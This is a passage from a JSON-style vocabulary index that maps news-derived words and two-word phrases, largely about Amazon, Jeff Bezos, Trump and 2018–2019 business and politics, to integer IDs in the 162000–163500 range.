"sold clipa2": 162073, "nominee withdraws": 162074, "kavanaugh denies": 162075, "published similar": 162076, "giant prime": 162077, "mortar enterprises": 162078, "dupri": 162079, "sole male": 162080, "sara eisen": 162081, "harassment maloney": 162082, "millionth imac": 162083, "business riding": 162084, "distributor labatt": 162085, "failures include": 162086, "timesrecordnews": 162087, "ofthe government": 162088, "declared income": 162089, "2018 brody": 162090, "deceleration coupled": 162091, "loud cries": 162092, "told reviewers": 162093, "tangential": 162094, "hannah zeile": 162095, "necessarily limited": 162096, "sinking": 162097, "racial desegregation": 162098, "utils exists": 162099, "whittier": 162100, "month independent": 162101, "garrard conley": 162102, "nfl quarterback": 162103, "mistresses": 162104, "fantasies washington": 162105, "democratic gubernatorial": 162106, "disproportionately harms": 162107, "angelina": 162108, "greatest publicity": 162109, "hard earned": 162110, "federal authorities": 162111, "eventually expanding": 162112, "gop dumpster": 162113, "business dealings": 162114, "maintains cia": 162115, "survival ratesal": 162116, "hippie belts": 162117, "employee rights": 162118, "result budget": 162119, "tether": 162120, "nasdaq fanh": 162121, "worker rights": 162122, "assuming strength": 162123, "incorrectly identifying": 162124, "acknowledgment": 162125, "way western": 162126, "offers political": 162127, "nycha criminal": 162128, "specifications": 162129, "invented technologies": 162130, "cnn nbc": 162131, "washing powder": 162132, "gotten far": 162133, "readmorearticles 228648": 162134, "slathering": 162135, "selected amazon": 162136, "increasingly inhumane": 162137, "intimidated journalists": 162138, "principal funds": 162139, "second reason": 162140, "hoffer": 162141, "paint": 162142, "head jamie": 162143, "987": 162144, "copies appeared": 162145, "heft": 162146, "daywear": 162147, "parents despite": 162148, "rogers nightly": 162149, "fans noticed": 162150, "long horizon": 162151, "big decisionfrom": 162152, "success nbc": 162153, "airbnb orig": 162154, "1981 starting": 162155, "connecticut cemetery": 162156, "fortieth 767": 162157, "broadcasting network": 162158, "907 billion": 162159, "syrian military": 162160, "quentin": 162161, "real people": 162162, "insists": 162163, "dcuxqrscec pic": 162164, "risk score": 162165, "billion lifted": 162166, "islamic relief": 162167, "spending reports": 162168, "gennady": 162169, "aramco": 162170, "america 000": 162171, "threat posed": 162172, "greatest takers": 162173, "started today": 162174, "accomplishment": 162175, "really lobbyist": 162176, "nation tax": 162177, "burrito": 162178, "amazon rainfall": 162179, "cities bewildered": 162180, "directly impede": 162181, "office contradicted": 162182, "association doesn": 162183, "cloud race": 162184, "world football": 162185, "500 words": 162186, "1970s business": 162187, "satisfy trump": 162188, "increasingly tense": 162189, "mariotti": 162190, "insiders figured": 162191, "mounts speaking": 162192, "takenon": 162193, "medieval woman": 162194, "tabloid titan": 162195, "later jim": 162196, "shelter": 162197, "express stars": 162198, "blight": 162199, "recent declines": 162200, "display track": 162201, "political tensions": 162202, "america wh": 162203, "twin sister": 162204, "firm baird": 162205, "financier": 162206, "currency collapse": 162207, "smaller radius": 162208, "spencer soper": 162209, "party competition": 162210, "heat netflix": 162211, "potentially challenging": 162212, "wrote analysts": 162213, "cameo haunting": 162214, "age group": 162215, "ii": 162216, "born british": 162217, "company results": 162218, "began having": 162219, "pot producer": 162220, "bedroom 2018": 162221, "times politico": 162222, "drinks youtube": 162223, "swapping": 162224, "profit steel": 162225, "example best": 162226, "bouncier": 162227, "betrayals": 162228, "won smaller": 162229, "sounds odd": 162230, "secretarial flag": 162231, "government says": 162232, "financially successful": 162233, "topped 750": 162234, "hit australia": 162235, "wailing": 162236, "geist": 162237, "council voted": 162238, "poor modern": 162239, "badass mum": 162240, "management implode": 162241, "primary institution": 162242, "construction ocasio": 162243, "congested roadways": 162244, "media platform": 162245, "moneymaking potential": 162246, "tax expenses": 162247, "related information": 162248, "potential 46th": 162249, "hosts": 162250, "returning winds": 162251, "raising antitrust": 162252, "tv market": 162253, "active duty": 162254, "abundant": 162255, "bancorporation corporation": 162256, "hovering significantly": 162257, "lower 2018": 162258, "involves playboy": 162259, "remain visible": 162260, "tech role": 162261, "included numerous": 162262, "major stock": 162263, "examine": 162264, "ventures jay": 162265, "multiple felonies": 162266, "increasingly threatened": 162267, "drinking water": 162268, "convention according": 162269, "vividly described": 162270, "novelizes": 162271, "__________ jump": 162272, "mentioned twitter": 162273, "fed leaves": 162274, "improving new": 162275, "tiff": 162276, "growth antitrust": 162277, "site 2020": 162278, "headquarters new": 162279, "dating edition": 162280, "amazon sounded": 162281, "51m op": 162282, "rate currently": 162283, "subprime personal": 162284, "effectively delivering": 162285, "convenient locations": 162286, "charges shippers": 162287, "marquette": 162288, "potential windfall": 162289, "campaign including": 162290, "mailchimp": 162291, "cordial": 162292, "enquirer ag": 162293, "2019 bloomberg": 162294, "customers": 162295, "censoring": 162296, "tissue according": 162297, "share congress": 162298, "considered amazon": 162299, "communist": 162300, "arizona muse": 162301, "developing taste": 162302, "strong profit": 162303, "online": 162304, "amt": 162305, "family sajni": 162306, "care groceries": 162307, "york sent": 162308, "sadness": 162309, "threats just": 162310, "invited trump": 162311, "cap index": 162312, "solving crime": 162313, "fries": 162314, "kundu brahminical": 162315, "rbc renewed": 162316, "mass disengagement": 162317, "crossing lines": 162318, "000 highpaying": 162319, "worldcup final": 162320, "opiod": 162321, "triple crown": 162322, "governments spend": 162323, "firm policy": 162324, "investments numerous": 162325, "leaders don": 162326, "border border": 162327, "long futile": 162328, "journal maria": 162329, "worst toys": 162330, "markets 2018": 162331, "cabinet focus": 162332, "video reels": 162333, "day nyt": 162334, "surprising thing": 162335, "aaron steckelberg": 162336, "registry program": 162337, "unexpected defensive": 162338, "today given": 162339, "dinner event": 162340, "deadbeat dad": 162341, "new ferry": 162342, "licenses occurred": 162343, "rival immediately": 162344, "reports": 162345, "o6 addeventlistener": 162346, "wasted desk": 162347, "vuitton": 162348, "domenech took": 162349, "multinational companies": 162350, "belastingaangifte": 162351, "capcon": 162352, "caracas": 162353, "misunderstood cohort": 162354, "sachs insiders": 162355, "supplied": 162356, "tasks": 162357, "post investigators": 162358, "bruggink": 162359, "accordingly children": 162360, "oreal": 162361, "showname fastdom": 162362, "james sammataro": 162363, "report alleged": 162364, "fanatic": 162365, "mikhail gorbachev": 162366, "tdy95kzvza": 162367, "just biased": 162368, "defense infrastructure": 162369, "takes massive": 162370, "yes barack": 162371, "licensed cigar": 162372, "bezos combined": 162373, "service ibd": 162374, "undergoes": 162375, "location barefoot": 162376, "matter movement": 162377, "malicious chips": 162378, "separating": 162379, "organization shortly": 162380, "emails purportedly": 162381, "beginning president": 162382, "harass activists": 162383, "bloomberg bowen": 162384, "manuel lopez": 162385, "channel wealth": 162386, "approved sheets": 162387, "veronica": 162388, "group atomwaffen": 162389, "politico victoria": 162390, "amazon follow": 162391, "performances": 162392, "s8 r4ee": 162393, "provide foundation": 162394, "amazon sadie": 162395, "amazon 25357": 162396, "deprecating": 162397, "tight grip": 162398, "biggest known": 162399, "story jack": 162400, "reformation reappraises": 162401, "var decoratevideoapi": 162402, "timeshare": 162403, "fema": 162404, "deliver predictive": 162405, "geoff hinton": 162406, "economy gdp": 162407, "information officer": 162408, "nate": 162409, "choice": 162410, "wars royalty": 162411, "pecker companies": 162412, "answers trump": 162413, "advances measure": 162414, "easy negotiation": 162415, "100 organic": 162416, "cbs cohen": 162417, "takeaway generally": 162418, "box wrote": 162419, "disney fend": 162420, "7ctwcamp 5etweetembed": 162421, "highlight issues": 162422, "listings trulia": 162423, "inflation hits": 162424, "libtards mainstream": 162425, "dying newspaper": 162426, "silly fun": 162427, "pecker story": 162428, "policy organization": 162429, "morning headlines": 162430, "era history": 162431, "manifest": 162432, "key republican": 162433, "collins cnn": 162434, "infamous tweet": 162435, "people understand": 162436, "upstate new": 162437, "underneath make": 162438, "delivery market": 162439, "laura curran": 162440, "nuclear war": 162441, "smoothly rattled": 162442, "running higher": 162443, "glide": 162444, "spout lies": 162445, "street conference": 162446, "amazon defense": 162447, "health white": 162448, "major zinke": 162449, "delivers mail": 162450, "throwing tens": 162451, "weighing decision": 162452, "mccabe accusing": 162453, "old known": 162454, "mp": 162455, "great example": 162456, "washington interviewed": 162457, "rightgoing": 162458, "eitc": 162459, "independent research": 162460, "defensive fight": 162461, "benefitted": 162462, "human children": 162463, "place orders": 162464, "blackstones": 162465, "currently holding": 162466, "homophobic sexist": 162467, "billion estimated": 162468, "wants net": 162469, "editor jerry": 162470, "total chaos": 162471, "create larger": 162472, "competition matters": 162473, "service severe": 162474, "selves clearly": 162475, "wayfair stays": 162476, "things maybe": 162477, "philip johnson": 162478, "called music": 162479, "nearby ones": 162480, "cramer yeah": 162481, "efforts offered": 162482, "new foreign": 162483, "previously protected": 162484, "spareyou": 162485, "gain control": 162486, "countercharge michael": 162487, "president allegedly": 162488, "selling author": 162489, "months pregnant": 162490, "discussed policy": 162491, "animals plants": 162492, "book value": 162493, "civic engagement": 162494, "antonio": 162495, "opioid makers": 162496, "daily updates": 162497, "994": 162498, "rapid nature": 162499, "making opiates": 162500, "galvanized remarkable": 162501, "critic eric": 162502, "eye new": 162503, "trump foxconn": 162504, "aint seen": 162505, "shared lives": 162506, "post frequent": 162507, "diet habits": 162508, "crying baby": 162509, "bolduan right": 162510, "thoughtful analysis": 162511, "microsoft headquarters": 162512, "1776": 162513, "invited bezos": 162514, "new frontline": 162515, "political activists": 162516, "allegedly taking": 162517, "withdraw plans": 162518, "giant version": 162519, "clients navigate": 162520, "bartender ain": 162521, "nasdaq ttph": 162522, "resources investing": 162523, "giant spent": 162524, "bf happy": 162525, "diplomatically": 162526, "jason del": 162527, "harpercollins": 162528, "foundational": 162529, "potus way": 162530, "emitter cnn": 162531, "raise housing": 162532, "z2z1l1mdvj siraj": 162533, "flushing bay": 162534, "large primary": 162535, "mockup": 162536, "getty donald": 162537, "party relationships": 162538, "flynned": 162539, "lee pimple": 162540, "google billion": 162541, "foreshadows greater": 162542, "eric holcomb": 162543, "brutal murders": 162544, "highly divisive": 162545, "totally unacceptable": 162546, "national rate": 162547, "training": 162548, "500 workers": 162549, "sales days": 162550, "radio politicon": 162551, "amazon wins": 162552, "appears hopeful": 162553, "700 west": 162554, "regime trump": 162555, "struggling ragtag": 162556, "story movado": 162557, "compelled brennan": 162558, "mandatory payments": 162559, "republican commentators": 162560, "avoid groupthink": 162561, "sets": 162562, "strongly opposed": 162563, "self read": 162564, "greenpeace defend": 162565, "value 500": 162566, "democratic field": 162567, "quarter mobile": 162568, "amazon unveiled": 162569, "estate markets": 162570, "exchanges began": 162571, "list compiled": 162572, "billion today": 162573, "home depot": 162574, "roe wade": 162575, "peter gerety": 162576, "testing ballistic": 162577, "faced 2017": 162578, "books ny": 162579, "malevolent gang": 162580, "premarket winner": 162581, "refuted amazon": 162582, "virginia bribe": 162583, "gop knew": 162584, "spend thousands": 162585, "region cnbc": 162586, "design discussion": 162587, "photoessayslidemodels": 162588, "tenth": 162589, "political naivet\u00e9": 162590, "shocker focus": 162591, "consider pricing": 162592, "ethics": 162593, "jpm announced": 162594, "motoring series": 162595, "bezos reveal": 162596, "posted series": 162597, "prime membership": 162598, "western economies": 162599, "note talent": 162600, "hassles": 162601, "jackpot": 162602, "cybertronian": 162603, "76bn": 162604, "knew mccrae": 162605, "extra grumpy": 162606, "amazing results": 162607, "donnelly": 162608, "price manipulation": 162609, "dating according": 162610, "odd fact": 162611, "things ordered": 162612, "northern california": 162613, "renowned logistical": 162614, "bright lighting": 162615, "prelude": 162616, "morrow": 162617, "showrooming": 162618, "million small": 162619, "allegations medical": 162620, "australia fun": 162621, "newark new": 162622, "city queensbridge": 162623, "new licensing": 162624, "president wanted": 162625, "ebay accused": 162626, "providing platform": 162627, "manson": 162628, "064 shares": 162629, "npr sasha": 162630, "opposition imperils": 162631, "jessica liu": 162632, "freedom cost": 162633, "board weighs": 162634, "mentioned hacking": 162635, "eldest sons": 162636, "large investments": 162637, "underperformed": 162638, "kelly mcgonigal": 162639, "left miranda": 162640, "jim carrey": 162641, "licensing collective": 162642, "academy awards": 162643, "amazon spheres": 162644, "pointless": 162645, "firm run": 162646, "apple business": 162647, "wearing diamond": 162648, "foods markets": 162649, "ritz": 162650, "thicket": 162651, "pudo": 162652, "murray president": 162653, "fulton": 162654, "amazon decision": 162655, "van owners": 162656, "inc_track_changesflag false": 162657, "chicago shelters": 162658, "alphabet subsidiary": 162659, "unfold": 162660, "voice features": 162661, "dramatic fbi": 162662, "neighbor zama": 162663, "want rupaul": 162664, "bezos pokes": 162665, "states stand": 162666, "gender": 162667, "facts": 162668, "starry list": 162669, "holdings llc": 162670, "separate mark": 162671, "trump surprised": 162672, "197": 162673, "ipo according": 162674, "stocks google": 162675, "sources panel": 162676, "haspolitical": 162677, "sooner": 162678, "leniency shown": 162679, "thursdays": 162680, "reading atlanta": 162681, "wake thousands": 162682, "china reuters": 162683, "valley powers": 162684, "marilyn": 162685, "avoidanother government": 162686, "scrutinize": 162687, "underlying strength": 162688, "mat": 162689, "climate denying": 162690, "458": 162691, "pole region": 162692, "written policies": 162693, "beijing quota": 162694, "detection": 162695, "online sellers": 162696, "separation soon": 162697, "confirms story": 162698, "automating": 162699, "isabelle huppert": 162700, "election mismanagement": 162701, "james lowry": 162702, "sr_1_1_sspa": 162703, "7277761194": 162704, "tweet promoting": 162705, "jacknicas tells": 162706, "administration ramps": 162707, "mission sent": 162708, "representative hank": 162709, "repeated forecast": 162710, "kansas wheat": 162711, "customer computers": 162712, "prosecutors disclosed": 162713, "executive privilege": 162714, "vermont congressional": 162715, "telecommunications currently": 162716, "city virginia": 162717, "emitter": 162718, "irked": 162719, "malito 415": 162720, "entitlements going": 162721, "text exchanges": 162722, "colorado drops": 162723, "thresholds": 162724, "overseas apple": 162725, "children television": 162726, "florida congressional": 162727, "appointed oil": 162728, "online players": 162729, "robin report": 162730, "startups reinvention": 162731, "trump misinterpreted": 162732, "breed": 162733, "high iphone": 162734, "told cabinet": 162735, "seeking ways": 162736, "___ mixed": 162737, "holiday investors": 162738, "good reasons": 162739, "dicerna": 162740, "tan skin": 162741, "plane maker": 162742, "moderate": 162743, "code hack": 162744, "libya model": 162745, "flick primary": 162746, "failing health": 162747, "favoring open": 162748, "maybe lot": 162749, "major carriers": 162750, "seattle sanchez": 162751, "docks": 162752, "sector 2018": 162753, "kristina": 162754, "sandboxed": 162755, "areas bernard": 162756, "carrino": 162757, "14b market": 162758, "signees": 162759, "religion isn": 162760, "new device": 162761, "39b": 162762, "investigates": 162763, "accelerates": 162764, "semierect": 162765, "conditions n923056": 162766, "president desire": 162767, "forcing labor": 162768, "batwoman replaces": 162769, "free product": 162770, "2018 prior": 162771, "1975 president": 162772, "defied": 162773, "catril": 162774, "80s movie": 162775, "career choice": 162776, "union treaty": 162777, "disastrous immelt": 162778, "jerusalem miles": 162779, "lotof people": 162780, "carell hosting": 162781, "included issuing": 162782, "prudently": 162783, "holds patent": 162784, "disseminating": 162785, "berlin fsg": 162786, "linger": 162787, "brandingtexthead brandingtextsub": 162788, "univision": 162789, "receptive agreeing": 162790, "countries ran": 162791, "sell prefabricated": 162792, "voluntarily singing": 162793, "indictment": 162794, "media watchdog": 162795, "stars pageants": 162796, "nickelsburg kate": 162797, "paste politics": 162798, "includes atlantic": 162799, "younger generations": 162800, "ark": 162801, "kabir": 162802, "zuker shot": 162803, "17m": 162804, "queens expected": 162805, "braced": 162806, "exchange pecker": 162807, "xqz599iqzw donald": 162808, "celebrate oscar": 162809, "worth increase": 162810, "stoneman": 162811, "provide fulfillment": 162812, "seen ofthe": 162813, "rt tsorf33": 162814, "address scrubbed": 162815, "news enterprise": 162816, "meeting occurred": 162817, "professed democratic": 162818, "does believe": 162819, "reaching fewer": 162820, "widespread speculation": 162821, "image copyright": 162822, "dani shapiro": 162823, "motion sensing": 162824, "country based": 162825, "tools cambridge": 162826, "alphabet unlike": 162827, "3876": 162828, "bezos latest": 162829, "enquirer gained": 162830, "hit amazon": 162831, "developing national": 162832, "little tax": 162833, "headcount pink": 162834, "build successful": 162835, "state bldg": 162836, "course save": 162837, "pioneering parents": 162838, "jolley": 162839, "headquarters reimburse": 162840, "disputing trump": 162841, "frank pallotta": 162842, "met extensively": 162843, "does twisted": 162844, "inc_custom_javascript null": 162845, "ohava": 162846, "goncourt winner": 162847, "internet ad": 162848, "help individual": 162849, "couple comfortable": 162850, "worries facing": 162851, "imageserve 444ed7bb5ea74821be6b5fadf54818b4": 162852, "settings including": 162853, "brand according": 162854, "coo": 162855, "f4a m8i": 162856, "consultancy marketplace": 162857, "giant accountable": 162858, "having bigger": 162859, "revolutionary life": 162860, "true soon": 162861, "eu fined": 162862, "nixon trying": 162863, "mccabe confirminghe": 162864, "associated dilemma": 162865, "hare deal": 162866, "apparent migrant": 162867, "applicable circuit": 162868, "division google": 162869, "doesn reach": 162870, "paper suffering": 162871, "says piper": 162872, "defied wall": 162873, "journalist atul": 162874, "user agreement": 162875, "network says": 162876, "baker julian": 162877, "critics charge": 162878, "deductible": 162879, "deleterious": 162880, "world isn": 162881, "invite shows": 162882, "strangeness": 162883, "gaps view": 162884, "past stock": 162885, "blog half": 162886, "progressive star": 162887, "snowstorms": 162888, "cutter": 162889, "going good": 162890, "american 80s": 162891, "await": 162892, "amazon incursion": 162893, "overt": 162894, "hosting unclassified": 162895, "meer": 162896, "online share": 162897, "higher west": 162898, "new shopping": 162899, "company bezos": 162900, "deaths": 162901, "jail yesterday": 162902, "beverage sector": 162903, "newlyweds fox": 162904, "lifting profit": 162905, "buy blankets": 162906, "xingu basin": 162907, "deeper amazon": 162908, "flies": 162909, "accurate credit": 162910, "goods newsletters": 162911, "trusts": 162912, "time teens": 162913, "280": 162914, "china leader": 162915, "181002123302": 162916, "colin robertson": 162917, "b07qmsx3wd": 162918, "p0 aa": 162919, "explanation aside": 162920, "confidence level": 162921, "insecure websocket": 162922, "honored story": 162923, "exasperation loud": 162924, "reuters purdue": 162925, "viglasky netflix": 162926, "crossing bridge": 162927, "original plan": 162928, "medals": 162929, "administration 2017": 162930, "service reliable": 162931, "work americans": 162932, "audience trump": 162933, "api": 162934, "community depends": 162935, "investors newsletters": 162936, "discount extravaganza": 162937, "edge highlighted": 162938, "attractive currency": 162939, "hive": 162940, "rural carrier": 162941, "amazon dumps": 162942, "white collar": 162943, "times forward": 162944, "company homepage": 162945, "growing ties": 162946, "olson publishing": 162947, "cash think": 162948, "welcoming city": 162949, "singles stand": 162950, "embarrassment publicizing": 162951, "using search": 162952, "office finances": 162953, "tv service": 162954, "shimron": 162955, "fedex misses": 162956, "looks ahead": 162957, "evans sees": 162958, "helped trump": 162959, "senate needs": 162960, "story apocalypse": 162961, "wealth prns": 162962, "missouri public": 162963, "trump attorneys": 162964, "require reworking": 162965, "acid": 162966, "service helped": 162967, "abc tv": 162968, "sba": 162969, "botham": 162970, "soir stands": 162971, "vampire romance": 162972, "tremendously troubled": 162973, "major power": 162974, "farm goods": 162975, "young generation": 162976, "preliminary story": 162977, "benefits packages": 162978, "shasta": 162979, "68bil opting": 162980, "expelled": 162981, "probing issues": 162982, "justify imposing": 162983, "created challenges": 162984, "baseball player": 162985, "freed": 162986, "neurological": 162987, "pdf cowen": 162988, "multi trillion": 162989, "exhibitors": 162990, "miriam oliphant": 162991, "allowed consumers": 162992, "younger chinese": 162993, "yorkers clearly": 162994, "build tech": 162995, "urban": 162996, "itep revealed": 162997, "million worldwide": 162998, "senator beleaguered": 162999, "qa a4ee": 163000, "amusing peccadilloes": 163001, "international diplomacy": 163002, "dirty water": 163003, "president retaliatory": 163004, "associate invested": 163005, "kingdom retaliated": 163006, "tax high": 163007, "inside ownership": 163008, "shutters competition": 163009, "border competition": 163010, "conditions inside": 163011, "hanson described": 163012, "stebbing": 163013, "exits congress": 163014, "cause inflation": 163015, "table talking": 163016, "porn facebook": 163017, "documents held": 163018, "virginia claiming": 163019, "monica amazon": 163020, "world ocasio": 163021, "chiefs explained": 163022, "republished": 163023, "photo financial": 163024, "general office": 163025, "californians": 163026, "think international": 163027, "discount company": 163028, "money mackenzie": 163029, "sanders high": 163030, "quarter numbers": 163031, "pesticides ara\u00fajo": 163032, "ipo pinterest": 163033, "ggggggggggggggggggggggggggggggggggggggggg": 163034, "bezos interview": 163035, "asked post": 163036, "released trump": 163037, "becker accusations": 163038, "phil lebeau": 163039, "better government": 163040, "record optimism": 163041, "disapproval tweets": 163042, "g8 f7a": 163043, "coalition created": 163044, "prompting pushback": 163045, "correct counting": 163046, "cases amazon": 163047, "sanchez picture": 163048, "growth international": 163049, "john augustine": 163050, "zones better": 163051, "attend invited": 163052, "popular anger": 163053, "bad deal": 163054, "verge public": 163055, "limited grocery": 163056, "year ahead": 163057, "printed metric": 163058, "revenue excluding": 163059, "adelsons": 163060, "criteria commonly": 163061, "sexual abuse": 163062, "pal": 163063, "freddie mac": 163064, "push brick": 163065, "rebuked": 163066, "blasio offered": 163067, "thestreet market": 163068, "help box": 163069, "whiton": 163070, "corny misleading": 163071, "new discoveries": 163072, "dan coats": 163073, "option called": 163074, "ironic": 163075, "included prominent": 163076, "senate mitch": 163077, "boat hotstar": 163078, "announcement sources": 163079, "weekend attacks": 163080, "did obama": 163081, "williams chief": 163082, "miller contact": 163083, "tasty": 163084, "tl vietnamese": 163085, "affiliate commission": 163086, "prosperity wonderful": 163087, "cases replacing": 163088, "enquirer led": 163089, "staunch critic": 163090, "troops stationed": 163091, "commands follow": 163092, "roughly 420": 163093, "nudity": 163094, "director stopped": 163095, "cbs says": 163096, "currents afflicting": 163097, "paranoid thrills": 163098, "896": 163099, "robert baird": 163100, "objectives spokespeople": 163101, "bezos unveiles": 163102, "fandom tyler": 163103, "reproduce": 163104, "estate project": 163105, "susteren": 163106, "positive reactions": 163107, "agendas making": 163108, "trump ad": 163109, "nycha governing": 163110, "past paying": 163111, "rockets trump": 163112, "winner takes": 163113, "taxi medallion": 163114, "fixed income": 163115, "swamp dweller": 163116, "stainless steel": 163117, "content deals": 163118, "information don": 163119, "senior management": 163120, "rape crisis": 163121, "face challenges": 163122, "rise consumers": 163123, "subsidiary souq": 163124, "taken critical": 163125, "outrageous abuse": 163126, "mackenzie reached": 163127, "fleet post": 163128, "economy deteriorating": 163129, "resent": 163130, "kremer": 163131, "standpoint amzn": 163132, "oracle corp": 163133, "increasingly": 163134, "sales sales": 163135, "response latinx": 163136, "30th": 163137, "dem candidate": 163138, "routinely employed": 163139, "frequently highlights": 163140, "expeditiously evaluate": 163141, "president reagan": 163142, "elections according": 163143, "coach wagging": 163144, "investigations looking": 163145, "probable": 163146, "israelis": 163147, "american planning": 163148, "issuance costs": 163149, "paul manafort": 163150, "decades courting": 163151, "pup": 163152, "month urging": 163153, "counterintelligence matters": 163154, "babies home": 163155, "103 years": 163156, "raven": 163157, "ceo vallone": 163158, "installed": 163159, "unsafe": 163160, "gates currently": 163161, "exchange markets": 163162, "computer california": 163163, "macro uncertainties": 163164, "coordinate": 163165, "years giving": 163166, "executive published": 163167, "doctors nurses": 163168, "decimate celebrity": 163169, "big outrage": 163170, "mission evangelicals": 163171, "minute": 163172, "core operations": 163173, "clown character": 163174, "carnegie": 163175, "financial program": 163176, "readers forum": 163177, "ma anand": 163178, "sciences big": 163179, "israeli market": 163180, "terms vacuuming": 163181, "chief vince": 163182, "vaccination vaccines": 163183, "little unclear": 163184, "florida small": 163185, "court seat": 163186, "chain force": 163187, "philanthropic billionaire": 163188, "sounded halfway": 163189, "slovenly existence": 163190, "radio capitol": 163191, "watching newsletter": 163192, "platforms zuckerberg": 163193, "caf\u00e9 cookbook": 163194, "strip paint": 163195, "videotape mark": 163196, "electrical infrastructure": 163197, "duckworth maternity": 163198, "talent": 163199, "rollers delivered": 163200, "everybody people": 163201, "laura kayali": 163202, "battening": 163203, "fico score": 163204, "striking image": 163205, "virginia bidding": 163206, "d0 void": 163207, "coonschristopher": 163208, "drops zuckerberg": 163209, "global leading": 163210, "goods especially": 163211, "443 month": 163212, "wxzv": 163213, "deeply moving": 163214, "rates bezos": 163215, "mail systems": 163216, "billion pentagon": 163217, "potential range": 163218, "food recall": 163219, "donnelly left": 163220, "placed nearly": 163221, "viser high": 163222, "climate doom": 163223, "swedish software": 163224, "pushes facial": 163225, "president wraith": 163226, "drug price": 163227, "investigating ms": 163228, "longer contract": 163229, "begin jason": 163230, "operating roads": 163231, "shows hewson": 163232, "stars cbs": 163233, "novel published": 163234, "aws outpost": 163235, "debunking": 163236, "runs digital": 163237, "increasingly valuable": 163238, "series crisis": 163239, "dare bryan": 163240, "states copyright": 163241, "media continue": 163242, "speaking sourcescott": 163243, "prices resulting": 163244, "untold": 163245, "filing provided": 163246, "spirit": 163247, "contemplates obama": 163248, "entirety": 163249, "hutcheson barb": 163250, "anxiety leaving": 163251, "political candidates": 163252, "stabilized": 163253, "summarily destroy": 163254, "shares divcon": 163255, "mgm": 163256, "link related": 163257, "flawed business": 163258, "feeds reinforce": 163259, "commercial arrangements": 163260, "pray strategy": 163261, "m6a": 163262, "personal costs": 163263, "apple ceo": 163264, "org president": 163265, "insurance comparison": 163266, "seek justice": 163267, "cost republicans": 163268, "issue jeff": 163269, "competitive wages": 163270, "cleans": 163271, "certain sections": 163272, "142": 163273, "lightning speed": 163274, "posting correspondence": 163275, "service currently": 163276, "candidate watch": 163277, "billboard": 163278, "really racist": 163279, "financing according": 163280, "exchange event": 163281, "usual suspects": 163282, "caucasian female": 163283, "domestic supply": 163284, "rajesh": 163285, "lab elements": 163286, "nerve wrote": 163287, "trump ridding": 163288, "busting action": 163289, "recommendations make": 163290, "global significance": 163291, "ingraham exclusive": 163292, "practice amazon": 163293, "bruising week": 163294, "insider hayley": 163295, "employees award": 163296, "retailers senator": 163297, "uk trump": 163298, "tola capital": 163299, "especially hard": 163300, "karas northjersey": 163301, "acquired internet": 163302, "booming china": 163303, "orders started": 163304, "tax requirements": 163305, "line andrea": 163306, "google coca": 163307, "showtime amazon": 163308, "clear politically": 163309, "require major": 163310, "amazon owning": 163311, "suspected deceptive": 163312, "keerthy1995 nintendo": 163313, "ceos taking": 163314, "donathan": 163315, "editor acting": 163316, "rank company": 163317, "aggregating": 163318, "unity rally": 163319, "rocky": 163320, "value right": 163321, "meat production": 163322, "cronyism": 163323, "online 2558225": 163324, "week days": 163325, "destroy antitrust": 163326, "fairly easily": 163327, "privacy jeff": 163328, "bush declared": 163329, "veterans health": 163330, "paying ballard": 163331, "extensive coverage": 163332, "zuckerberg 2018": 163333, "tests": 163334, "considering pressuring": 163335, "3275": 163336, "aberrant": 163337, "disney covering": 163338, "money politicians": 163339, "regulate lease": 163340, "stencil sprayed": 163341, "anti semitic": 163342, "submitting": 163343, "growth amazon": 163344, "ahead amazon": 163345, "worrying headlines": 163346, "employees told": 163347, "clip sen": 163348, "aws service": 163349, "giants calling": 163350, "trump financial": 163351, "investigated": 163352, "value reuters": 163353, "medium alleged": 163354, "left getty": 163355, "times tribal": 163356, "counterintelligence": 163357, "conservatives finally": 163358, "updatecode initmeta": 163359, "childhood dream": 163360, "amazon story": 163361, "recommended mix": 163362, "visited silicone": 163363, "exercise substantial": 163364, "listing": 163365, "dweller": 163366, "identify holy": 163367, "hq2 wmal": 163368, "sycophants": 163369, "police amazon": 163370, "way jeff": 163371, "navigation leave": 163372, "andy barr": 163373, "similar flag": 163374, "providing tire": 163375, "stock declined": 163376, "alleged targeting": 163377, "sen marco": 163378, "hacking wars": 163379, "designs": 163380, "famous clientele": 163381, "iras": 163382, "chicago does": 163383, "amazon courtship": 163384, "imposing 500": 163385, "second connect": 163386, "coverage plans": 163387, "years straight": 163388, "wasting": 163389, "regular course": 163390, "economy just": 163391, "meet melania": 163392, "infinitum bezos": 163393, "london says": 163394, "reactid 149": 163395, "2018 carrefour": 163396, "rogue president": 163397, "ideology trump": 163398, "murder conviction": 163399, "imaginary monopoly": 163400, "content director": 163401, "zedong": 163402, "disney fox": 163403, "rules products": 163404, "relations": 163405, "school safety": 163406, "iceland visit": 163407, "chance getting": 163408, "yyear": 163409, "patent antithetical": 163410, "extracting": 163411, "unfairly benefiting": 163412, "ranks search": 163413, "marvelous surprising": 163414, "helps determine": 163415, "socialist country": 163416, "pass laws": 163417, "executive tom": 163418, "roseanne": 163419, "just mentioned": 163420, "budget analysis": 163421, "shippers amazon": 163422, "chosen crystal": 163423, "margins remain": 163424, "capital gaps": 163425, "zealand spreading": 163426, "seek cash": 163427, "rejected": 163428, "issues including": 163429, "church benedict": 163430, "cloud home": 163431, "thinking trump": 163432, "advertising age": 163433, "awkward tension": 163434, "democratic city": 163435, "players according": 163436, "priest added": 163437, "amazing scale": 163438, "china huge": 163439, "potential saturation": 163440, "beneficial arrangement": 163441, "financial follow": 163442, "explicit": 163443, "766 outlets": 163444, "woot": 163445, "tech frontiers": 163446, "declared war": 163447, "economy galloway": 163448, "responded mockingly": 163449, "company overall": 163450, "investment overall": 163451, "multiyear contracts": 163452, "sex cabal": 163453, "brandon morgan": 163454, "nation especially": 163455, "favreau posting": 163456, "pestilential swarms": 163457, "home line": 163458, "overall ratings": 163459, "signature": 163460, "services listing": 163461, "modal": 163462, "frontrunner microsoft": 163463, "raise wages": 163464, "fedex dropped": 163465, "brightcove net": 163466, "multiple locations": 163467, "jason trice": 163468, "intl": 163469, "revive american": 163470, "condemning bezos": 163471, "adviser attacks": 163472, "trump presidential": 163473, "governor bending": 163474, "bloomberg editors": 163475, "eternal neon": 163476, "firing squad": 163477, "month moved": 163478, "department motley": 163479, "difficulty trusting": 163480, "growing dominance": 163481, "murdoch married": 163482, "raisers": 163483, "experiences homelessness": 163484, "reluctant permission": 163485, "plan release": 163486, "doomed": 163487, "employee pyramid": 163488, "current stats": 163489, "william alatriste": 163490, "data a4ee": 163491, "usps delivers": 163492, "red ink": 163493, "positioned": 163494, "grandson": 163495, "leaf gear": 163496, "mgmt": 163497, "member states": 163498, "discourse": 163499, "rob pincus": 